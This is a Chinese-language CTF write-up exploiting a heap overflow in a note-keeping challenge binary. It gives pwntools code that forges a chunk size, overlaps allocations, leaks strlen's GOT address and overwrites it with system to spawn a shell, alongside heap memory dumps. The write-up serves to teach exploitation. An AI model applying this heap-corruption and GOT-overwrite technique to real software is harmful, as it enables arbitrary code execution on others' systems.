vuln

      buf_tmp[2] = strdup(&s);

new_note函数中,(strdup相当于malloc)malloc的size是根据输入的字符串(content)来的

Tip: 不管申请多小,chunk都>=0x20

但是在edit_note中,可以编辑的size是0x20字节

    printf("please input new note content: ", &$id);
    get_buf(*(void **)(v2 + 0x10), 0x20);

可以控制输入的content变化来造成堆溢出,改变下一个堆的结构

add_note(0x20, 'AAAA', 'AAAA')
add_note(0x20, 'AAAA', 'A'*0x18)
add_note(0x20, 'AAAA', 'A'*0x18)

建立三个块之后

------------------------------note0----------------------------------
struct:
0x603000:    0x00000000    0x00000000    0x00000021    0x00000000
0x603010:    0x00603030    0x00000000    0x00000000    0x00000000
***************name0-0x08:
0x603020:    0x00603060    0x00000000    0x00000031    0x00000000
0x603030:    0x41414141    0x00000000    0x00000000    0x00000000
0x603040:    0x00000000    0x00000000    0x00000000    0x00000000
***************content:
0x603050:    0x00000000    0x00000000    0x00000021    0x00000000
0x603060:    0x41414141    0x00000000    0x00000000    0x00000000
------------------------------note1--------------------------------------
struct:
0x603070:    0x00000000    0x00000000    0x00000021    0x00000000
0x603080:    0x006030a0    0x00000000    0x00000001    0x00000000
***************name-0x08:
0x603090:    0x006030d0    0x00000000    0x00000031    0x00000000
0x6030a0:    0x42424242    0x00000000    0x00000000    0x00000000
0x6030b0:    0x00000000    0x00000000    0x00000000    0x00000000
***************content:
0x6030c0:    0x00000000    0x00000000    0x00000031    0x00000000
0x6030d0:    0x42424242    0x42424242    0x42424242    0x42424242
0x6030e0:    0x42424242    0x42424242    0x00000000    0x00000000
-------------------------------note2---------------------------------------
struct:
0x6030f0:    0x00000000    0x00000000    0x00000021    0x00000000
0x603100:    0x00603120    0x00000000    0x00000002    0x00000000
***************name-0x08:
0x603110:    0x00603150    0x00000000    0x00000031    0x00000000
0x603120:    0x43434343    0x00000000    0x00000000    0x00000000
0x603130:    0x00000000    0x00000000    0x00000000    0x00000000
***************content:
0x603140:    0x00000000    0x00000000    0x00000031    0x00000000
0x603150:    0x42424242    0x42424242    0x42424242    0x42424242
0x603160:    0x42424242    0x42424242    0x00000000    0x00000000

note0.content = 'G'*0x18 + p64(fake_size) 即可控制note1.struct的size

leak

可以edit_note(0, 'G'*0x18 + p64(fake_size)),接着释放note1,这样释放的大小就能控制

这里假设fake_size = 0xd0 | 0x01 这里0x01是为了在free时验证通过

------------------------------note1--------------------------------------
struct:
0x603070:    0x00000000    0x00000000    0x000000d1    0x00000000
0x603080:    0x006030a0    0x00000000    0x00000001    0x00000000

free的时候,有两个操作

free(note1.content)    # chunk 0x30
free(note1.struct)     # chunk 0xd0

之后

add_note(0x20, 'AAAA', 'A'*0x18)
0x6030e0:    0x42424242    0x42424242    0x00000000    0x00000000
-------------------------------note2---------------------------------------
struct:
0x6030f0:    0x00000000    0x00000000    0x00000021    0x00000000
0x603100:    0x00603120    0x00000000    0x00000002    0x00000000
***************name-0x08/pointer to content:
0x603110:    0x00603150    0x00000000    0x00000031    0x00000000
0x603120:    0x43434343    0x00000000    0x00000000    0x00000000
0x603130:    0x00000000    0x00000000    0x00000000    0x00000000
***************content:
0x603140:    0x00000000    0x00000000    0x00000031    0x00000000
0x603150:    0x42424242    0x42424242    0x42424242    0x42424242
0x603160:    0x42424242    0x42424242    0x00000000    0x00000000

空间分配到0x6030e0

是因为

struct3(0x20)+name3(0x30)+content3(0x30) - overfree_content1(0x30) = 0x50
0x603078+0x40 = 0x6030c8

接着,可以利用fastbin特性,恰好覆盖到想要的地址,并且利用content对想要的地址覆盖,然后leak

add_note(0x10, 'AAAA', 'A'*0x18)
# 0x6030c8 + 0x20(struct) + 0x20(name) = 0x603108

0x603108为chunk_content开始地址,偏移0x08到0x603110就是content实际内容

而此时该地址也是note3.content的指针,会在list_note中 printf("%s", *0x603110)

那么只要覆盖这个0x603110,就可以leak出想要的地址

    new_note(0x20, 'aaaa', 'AAAA')      #0
    new_note(0x20, 'bbbb', 'B'*0x18)    #1
    new_note(0x20, 'cccc', 'C'*0x18)    #2
    # over the size of note1.struct  0xd0 |= 0x01
    edit_note(0, 'A'*0x18 + p64(0xd1))
    # free note1 ;; size = 0x30+0xd0 = 0x100
    delete_note(1)
    # alloc size=0x80
    new_note(0x20, 'dddd', 'D'*0x18)    #1
    # alloc size=0x20+0x20+0x30
    new_note(0x10, 'ffff', p64(strlen_got)+'G'*0x10)    #3
    # [p_got]GGGGGG...  =>   [p_got]\x00GGGGG....
    edit_note(3, p64(strlen_got))
    #  mov     rax, [rax+10h]       rax <= strlen_got(orginal-content)
    #  call    puts(rax)            leak strlen address
    list_note(2)
    p.recvuntil('content: ')
    # strip '\n'(=0x0a)
    data = p.recvline()[:-1]
    # convert address
    strlen_addr = u64(data.ljust(8, '\x00'))

其中有很多细节:

  1. edit__note中最后发送content应该使用send函数,而不是sendline(大多数有read读很多的都应该sen_d)
  2. size=0xd0的chunk非free情况下要是0x01|size
  3. free先content,然后struct,大小是两个相加,即使有快是重复的
  4. p64(strlen_got)+'G'*0x10 中间是没有\x00,很显然直接leak是不好的,两个中间要补个0

exp

在获取了system地址之后,就是要执行system('/bin/sh')

    # overwrite the strlen to system
    edit_note(2, p64(system_addr))
    # interactive the function strlen(*) in edit_note -> get_buf
    edit_note(0, '/bin/sh\x00')
    p.interactive()

这里很巧妙的用了edit_note的strlen函数,先是由于之前已经把note2的content指针改成了strlen的got,所以这里只要把strlen实际的地址(即strlen got指向的值)改为system,那么接下来调用strlen就相当于调用system了

而出题人已经在题中构造好了需要的代码

strlen((const char *)a1);

a1即是getbuf中的content要显示的指针(已经覆盖成了fake_strlen --> system)

results matching ""

    No results matching ""